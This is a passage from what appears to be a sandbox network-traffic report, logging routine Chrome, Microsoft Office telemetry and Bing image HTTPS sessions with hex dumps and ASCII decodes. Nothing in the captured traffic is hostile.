\u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-23 01:55:21 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-23 01:55:21 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-23 01:55:21 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 39 34 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700294,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-23 01:55:21 UTC	1390	IN	Data Raw: 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 Data Ascii: ray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i
2024-11-23 01:55:21 UTC	109	IN	Data Raw: 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 0d 0a Data Ascii: ow Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)
2024-11-23 01:55:21 UTC	390	IN	Data Raw: 31 37 66 0d 0a 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 Data Ascii: 17fif(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);re
2024-11-23 01:55:21 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 51 64 28 5f 2e 4a 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 50 64 28 5f 2e 4a 63 28 61 2c 62 29 29 7d 3b 5f Data Ascii: 8000\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ce\u003dfunction(a,b,c){return _.ub(a,b,c,!1)!\u003d\u003dvoid 0};_.de\u003dfunction(a,b){return _.Qd(_.Jc(a,b))};_.S\u003dfunction(a,b){return _.Pd(_.Jc(a,b))};_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49738	172.217.21.36	443	7604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:20 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 01:55:21 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 23 Nov 2024 01:55:21 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 01:55:21 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-23 01:55:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:20 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:20 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: de6003cd-b01e-0098-493c-3ccead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015520Z-178bfbc474bfw4gbhC1NYCunf400000003u000000000bgp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:21 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:20 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:21 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 561f43d7-f01e-0096-2f75-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015521Z-174c587ffdfcb7qhhC1TEB3x70000000028g00000000kcby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:21 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:20 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:21 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 922c5f4e-601e-005c-577c-3bf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015521Z-174c587ffdfcb7qhhC1TEB3x7000000002dg000000003equ x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:21 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:20 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9bcae678-901e-007b-2946-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015521Z-15b8b599d88vp97chC1TEB5pzw000000024g00000000k767 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:21 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49747	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:20 UTC	375	OUT	GET /th?id=OADD2.10239399230513_1725RTMX37W73V5P6&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 01:55:21 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 381353 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 043B76963E32446DA54F3D55BF375B6F Ref B: EWR30EDGE0107 Ref C: 2024-11-23T01:55:21Z Date: Sat, 23 Nov 2024 01:55:20 GMT Connection: close
2024-11-23 01:55:21 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 39 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 38 3a 30 36 20 30 39 3a 35 35 3a 30 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 25.9 (Windows)2024:08:06 09:55:008C
2024-11-23 01:55:21 UTC	16384	IN	Data Raw: cd d4 1a 65 fc 8d 6f 23 93 cb 92 48 27 ee fd 05 29 4a 34 e0 ea 54 76 47 1d 6c 5b 8d 55 46 92 e6 9b 4f 4b ed ea 7a ef 8b bc 79 a1 68 6a e9 24 fe 7c a3 3f 2c 64 60 1f 73 5c 3e a1 f1 ae 20 ac 2c ec a1 0d c6 0b 31 62 3f 01 5e 11 aa 6b 57 37 f2 19 25 91 8e ee 48 cf 4f f1 aa 10 dc 00 e4 e7 8e 3a 0e f5 e5 56 cd 1f fc ba 8a 4b cf 53 af 0f 96 e2 2a 6b 88 aa d7 94 74 5f e6 7a 8f c5 0f 88 2b e3 0d 1c 59 dd 47 1a 4b 17 28 63 5c 0c 1e 79 c9 3c 57 1b e1 3b 94 b4 bd 8a 58 e4 97 74 6c 18 60 ed 20 02 3a 1a c5 12 86 7f 5c 9e fd 78 ab 76 21 77 07 57 e4 13 df 07 fc f1 5e 66 27 11 3a ee f3 7a 9e ce 0f 07 4f 09 75 4f ab bf cc fa 67 c0 be 3b f0 ee b5 e5 2e a3 7b 24 17 6a 00 51 30 06 31 db 3b 87 f1 74 e4 8a ed ed 82 49 aa 3c b0 91 24 61 14 2b a9 ca 9e a7 82 2b e4 4b 69 d9 95 48 Data Ascii: eo#H')J4TvGl[UFOKzyhj$\|?,d`s\> ,1b?^kW7%HO:VKS*kt_z+YGK(c\y<W;Xtl` :\xv!wW^f':zOuOg;.{$jQ01;tI<$a++KiH
2024-11-23 01:55:21 UTC	16384	IN	Data Raw: 4f e7 5c f2 a4 cd d5 64 26 ec b7 e1 d4 52 a9 3b b3 d0 f7 a1 71 9c f1 41 5f 7a cf d9 1a 7b 70 f3 3f 31 4a 25 19 c8 35 13 71 50 b1 e9 9e 05 54 68 5c 97 89 68 b7 e7 7c df 5c 74 a0 cb 86 cd 54 c9 2d c1 a0 1f 4e d5 4b 0e 88 78 a6 58 92 45 3c 12 b8 aa f2 b8 2d 81 e9 9e 29 8c d9 5f 7f ea 29 8d 92 b9 ed fa f3 5d 10 c3 a4 8c 67 88 6c 1e 4e c3 ad 42 4f cd 90 69 c7 21 7d e9 a4 13 8c 8e 4f 51 5d 11 a6 91 cc ea b6 c7 a9 ca fe b4 c9 17 39 03 d3 34 bc 7e 5e d4 64 9e 07 23 1d e8 e4 d4 6e a6 9a 90 ca 33 c0 e4 54 78 1b b2 73 9a b1 21 cb 1e e0 71 4d 75 eb 8f bd 8e 2b 44 cc 0a ef f7 4e 69 ac bd 41 06 a6 71 da 98 54 ed c0 1f e4 d6 9d 08 20 91 41 5e 2a 26 8f 1c 8c 90 3a 55 b7 5f 97 27 f0 a8 98 13 cf a5 5a 60 d2 2a b2 91 83 db d2 9a 01 e4 75 ab 0c a3 93 4c c6 dc fb f4 35 77 24 Data Ascii: O\d&R;qA_z{p?1J%5qPTh\h\|\tT-NKxXE<-)_)]glNBOi!}OQ]94~^d#n3Txs!qMu+DNiAqT A^&:U_'Z`uL5w$
2024-11-23 01:55:21 UTC	16384	IN	Data Raw: c9 1d fd 28 00 1f a5 3c 0c 64 11 cf bd 27 46 c7 7e c6 a4 a1 30 0f ad 39 46 14 ff 00 9e 29 01 07 a0 c9 eb 8a 7f f0 90 78 fe b8 a4 c0 6b 73 d7 b5 2f d7 83 ec 69 14 91 26 48 18 ef fe 45 38 7a f1 ed 8f d6 81 86 09 34 67 1c 67 d8 7d 68 e7 68 ed 47 f1 10 3a ff 00 5a 91 8e cf 18 3f 4c 7b d3 97 07 03 bf 5a 8c 12 7b 0e 29 d9 3d f8 3e b4 9a 04 c7 80 02 e7 fc e6 9f f8 60 d4 2a 73 21 cf 4f a5 3b 78 ea 48 f7 15 36 29 0f 3c f3 d4 51 c0 5e 7f ce 69 bb 81 50 73 4a b8 3c 7e 14 0e e1 80 7a d1 d3 af 5a 46 24 73 46 e3 d4 fd 68 0b 8b c6 dc 74 14 8c 3e 5f 6a 32 3a 8c 67 b5 25 03 40 07 ff 00 5f 9a 08 23 db ff 00 af 41 3d c7 5a 50 3d 7a d0 03 4a e3 1c fb f6 a6 3a 93 eb 53 0c ed e2 91 80 3d 68 15 88 36 93 ef f8 53 54 37 4d bf 95 58 6a 30 3a 81 c0 c0 a7 70 e5 22 2b 8e b4 8e a7 27 Data Ascii: 